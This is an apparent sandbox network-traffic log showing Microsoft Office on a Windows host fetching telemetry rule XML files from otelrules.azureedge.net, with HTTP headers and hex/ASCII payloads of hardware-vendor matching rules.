2024-11-29 18:49:27 UTC	632	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 48 68 5d 5b 50 70 5d 28 5b 5e 45 5d 7c 24 29 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 33 22 20 52 3d 22 28 5b 48 68 5d 5b 45 65 5d 5b 57 77 5d 5b 4c 6c 5d 5b 45 65 5d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120613" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120611" /> <SR T="2" R="^([Hh][Pp]([^E]\|$))"> <S T="1" F="1" M="Ignore" /> </SR> <SR T="3" R="([Hh][Ee][Ww][Ll][Ee]

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	49746	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:28 UTC	192	OUT	GET /rules/rule120616v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB344914B" x-ms-request-id: 6eac52fb-a01e-006f-2191-3f13cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184929Z-174f7845968l4kp6hC1EWRe88400000010hg00000000cp9d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120616" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	49744	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:28 UTC	192	OUT	GET /rules/rule120614v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:29 GMT Content-Type: text/xml Content-Length: 467 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:08 GMT ETag: "0x8DC582BA6C038BC" x-ms-request-id: 50b713a5-901e-0015-7a04-42b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184929Z-174f78459688l8rvhC1EWRtzr00000000czg000000004x4e x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:29 UTC	467	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120614" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	49745	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:28 UTC	192	OUT	GET /rules/rule120615v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:29 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBAD04B7B" x-ms-request-id: ed9dfa2a-401e-0015-7891-3f0e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184929Z-174f7845968zgtf6hC1EWRqd8s0000000t7000000000fftq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:29 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 53 73 5d 5b 55 75 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120615" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120613" /> <SR T="2" R="([Aa][Ss][Uu][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.5	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:29 UTC	192	OUT	GET /rules/rule120617v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:29 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:02 GMT ETag: "0x8DC582BA310DA18" x-ms-request-id: c665a67d-901e-002a-1b91-3f7a27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184929Z-174f7845968psccphC1EWRuz9s00000010hg00000000d1vm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:29 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120617" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120615" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo][Ss][Oo][Ff][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.5	49748	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:29 UTC	192	OUT	GET /rules/rule120618v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:29 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:29 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:30 GMT ETag: "0x8DC582B9018290B" x-ms-request-id: dc0e488f-901e-005b-3891-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184929Z-174f7845968jrjrxhC1EWRmmrs00000010dg00000000ek95 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:29 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120618" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.5	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:31 UTC	192	OUT	GET /rules/rule120619v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:31 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:41 GMT ETag: "0x8DC582B9698189B" x-ms-request-id: 72388ca2-901e-0029-4711-41274a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184931Z-174f7845968n2hr8hC1EWR9cag0000000zv000000000pzte x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:31 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 31 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 43 63 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120619" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120617" /> <SR T="2" R="([Aa][Cc][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.5	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:31 UTC	192	OUT	GET /rules/rule120620v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:31 GMT Content-Type: text/xml Content-Length: 469 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA701121" x-ms-request-id: d85cda50-501e-000a-581c-410180000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184931Z-174f7845968pght8hC1EWRyvxg00000003eg00000000bwg8 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:31 UTC	469	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120620" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.5	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:31 UTC	192	OUT	GET /rules/rule120621v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:31 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA41997E3" x-ms-request-id: 4b7a7cb4-201e-000c-0405-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184931Z-174f7845968pght8hC1EWRyvxg00000003cg00000000ka2t x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:31 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 31 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 56 76 5d 5b 4d 6d 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120621" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120619" /> <SR T="2" R="([Vv][Mm][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.5	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:31 UTC	192	OUT	GET /rules/rule120622v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:31 GMT Content-Type: text/xml Content-Length: 477 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8CEAC16" x-ms-request-id: e9babc56-001e-0049-5291-3f5bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184931Z-174f7845968l4kp6hC1EWRe88400000010m00000000087ek x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:31 UTC	477	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120622" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.5	49753	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:31 UTC	192	OUT	GET /rules/rule120623v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:31 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:31 GMT Content-Type: text/xml Content-Length: 464 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:43 GMT ETag: "0x8DC582B97FB6C3C" x-ms-request-id: a99e6065-701e-006f-4d91-3fafc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184931Z-174f7845968frfdmhC1EWRxxbw00000010cg00000000886v x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:31 UTC	464	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 47 67 5d 5b 49 69 5d 5b 47 67 5d 5b 41 61 5d 5b 42 62 5d 5b 59 79 5d 5b 54 74 5d 5b 45 65 5d 20 5b 54 74 5d 5b 45 65 5d 5b 43 63 5d 5b 48 68 5d 5b 4e 6e 5d 5b 4f 6f 5d 5b 4c 6c 5d 5b 4f 6f 5d 5b 47 67 5d 5b 59 79 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120623" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120621" /> <SR T="2" R="([Gg][Ii][Gg][Aa][Bb][Yy][Tt][Ee] [Tt][Ee][Cc][Hh][Nn][Oo][Ll][Oo][Gg][Yy])"> <S T="1" F="1" M="Ignor

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.5	49755	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:33 UTC	192	OUT	GET /rules/rule120624v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:33 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:33 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:35 GMT ETag: "0x8DC582BB7010D66" x-ms-request-id: 3fc8b732-401e-0083-1091-3f075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184933Z-174f7845968xlwnmhC1EWR0sv8000000103000000000fg5p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:33 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120624" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120623" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.5	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:33 UTC	192	OUT	GET /rules/rule120625v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
